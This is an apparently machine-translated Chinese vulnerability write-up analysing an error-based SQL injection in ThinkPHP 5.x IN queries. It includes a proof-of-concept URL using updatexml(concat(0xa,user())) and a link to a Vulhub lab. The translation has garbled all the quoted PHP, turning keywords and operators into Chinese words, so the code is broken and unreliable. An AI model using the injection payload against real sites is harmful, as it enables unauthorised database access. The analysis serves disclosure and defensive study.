刚才先知分享了一个漏洞( Thinkphp5.X设计缺陷导致泄漏数据库账户密码),文中说到这是一个信息泄露漏洞,但经过我的分析,除了泄露信息以外,这里其实是一个(鸡肋)SQL注入漏洞,似乎是一个不允许…
刚才先知共享了一个漏洞(Thinkphp5.X设计缺陷导致泄露的数据库帐户密码)。文章称这是一个信息泄露漏洞,但经过我的分析,除了泄露信息外,这里实际上还有一个(鸡肋)SQL注入漏洞。它似乎是一个不允许子查询的SQL注入点。
漏洞上下文如下:
< PHP
命名空间app \ index \ controller;
使用app \ index \ model \ User;
类索引
{
公共职能指数()
{
$ ids=输入('ids/a');
$ t=new User();
$ result=$ t-> where('id','in',$ ids) - > select();
}
}
如上面的代码,如果我们控制in语句的值位置,我们可以通过传入一个数组来引起SQL注入漏洞。
我在文中没有多说,但让我们来谈谈为什么这是一个SQL注入漏洞。 IN操作代码如下:
< PHP
.
$ bindName=$ bindName?'where_'。 str_replace(['。',' - '],'_',$ field);
if(preg_match('/\ W /',$ bindName)){
//处理带有非单词字符的字段名称
$ bindName=md5($ bindName);
}
.
} elseif(in_array($ exp,['NOT IN','IN'])){
//IN查询
if($ value instanceof \ Closure){
$ whereStr。=$ key。 ''。 $ exp。 ''。 $这 - > parseClosure($值);
} else {
$ value=is_array($ value)? $ value: explode(',',$ value);
if(array_key_exists($ field,$ binds)){
$ bind=[];
$ array=[];
Foreach($ value为$ k=> $ v){
如果($ this-> query-> isBind($ bindName。'_ in_'。$ k)){
$ bindKey=$ bindName。 '_in_'。 uniqid()。 '_'。 $ K表;
} else {
$ bindKey=$ bindName。 '_in_'。 $ K表;
}
$ bind [$ bindKey]=[$ v,$ bindType];
$ array []=':'。 $ bindKey;
}
$这 - >查询 - >绑定($绑定);
$ zone=implode(',',$ array);
} else {
$ zone=implode(',',$ this-> parseValue($ value,$ field));
}
$ whereStr。=$ key。 ''。 $ exp。 '('。(空($ zone)?''''': $ zone)。')';
}
可以看出$ bindName之前已经过测试,通常没有漏洞。但是如果$ value是一个数组,它将遍历$ value并将$ k拼接到$ bindName中。
也就是说,我们控制预编译SQL语句中的键名,这意味着我们控制预编译的SQL语句,这在理论上是一个SQL注入漏洞。那么,为什么原始测试测试SQL注入失败?
这是涉及预编译的实现过程。通常,PDO预编译执行过程分为三个步骤:
准备($ SQL)编译SQL语句
bindValue($ param,$ value)将值绑定到param的位置
执行()执行
此漏洞实际上控制了第二步的$ param变量。如果变量是SQL语句,则第二步将抛出错误:

因此,这个错误“似乎”导致整个过程执行的次数少于第三步,并且无法注入它。
但实际上,在预编译中,可以使用第一步。我们可以做一个实验。
编写以下代码:
< PHP
$ params=[
PDO: ATTR_ERRMODE=> PDO: ERRMODE_EXCEPTION,
PDO: ATTR_EMULATE_PREPARES=> false,
]。
$ db=new PDO('mysql: dbname=cat; host=127.0.0.1;','root','root',$ params);
试试{
$ link=$ db-> prepare('SELECT * FROM table2 WHERE id in(: where_id,updatexml(0,concat(0xa,user()),0))');
} catch(\ PDOException $ e){
后续代码var_dump($ E);
}
执行发现,虽然我只调用了prepare函数,但原始SQL语句中的错误已成功执行:

原因是因为我设置了PDO: ATTR_EMULATE_PREPARES=> false。
此选项涉及PDO的“预处理”机制:PDO具有“模拟预处理机制”,因为并非所有数据库驱动程序都支持SQL预编译。如果启用了模拟预处理,则PDO会在内部模拟参数绑定过程。 SQL语句在最后一次execute()时被发送到数据库执行;如果我将PDO设置为: ATTR_EMULATE_PREPARES=> false,则PDO不会模拟预处理,并且参数化绑定的整个过程都是使用Mysql完成的。
在非模拟预处理的情况下,参数化绑定过程分为两个步骤:第一步是准备阶段,它将带有占位符的sql语句发送到mysql服务器(解析 - >解析),第二步是多次。将占位符参数发送到mysql服务器以供执行(多次执行优化 - >执行)。
这时,假设在第一步执行prepare($ SQL)时我的SQL语句错误,那么我将直接从mysql抛出异常,不会执行第二步。我们来看看ThinkPHP5的默认配置:
.
//PDO连接参数
受保护的$ params=[
PDO: ATTR_CASE=> PDO: CASE_NATURAL,
PDO: ATTR_ERRMODE=> PDO: ERRMODE_EXCEPTION,
PDO: ATTR_ORACLE_NULLS=> PDO: NULL_NATURAL,
PDO: ATTR_STRINGIFY_FETCHES=> false,
PDO: ATTR_EMULATE_PREPARES=> false,
]。
.
可以看出,此处设置了PDO: ATTR_EMULATE_PREPARES=> false。
所以,在一天结束时,我构造了以下POC,我可以使用错误注入来获取user()信息:
http://localhost/thinkphp5/public/index.php?ids [0,updatexml(0,concat(0xa,user()),0)]=1231

但是,如果将user()更改为子查询,则结果将是无效参数编号:参数未定义错误。
因为没有太多的研究,让我猜一下:预编译确实是由mysql服务器执行的,但是预编译过程不会触及数据,也就是说,实际数据不会从表中取出,因此使用子查询。如果出现错误,则不会触发错误;
虽然预编译的进程不会触及数据,但是像user()这样的数据库函数的值仍然会被编译到SQL语句中,因此这里的执行会被爆炸。
总的来说,这个洞并不是特别容易使用。
我期待有人学习,推翻我的猜测,并使这个漏洞真的很容易使用。
与触发SQL错误的位置类似,我也看到了另一个地方,我暂时不会说出来。
我创建了Vulhub环境,你可以自己测试一下:https://github.com/phith0n/vulhub/tree/master/thinkphp/in-sqlinjection
文章来自:https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
由phithon在安全脉冲帐户中发布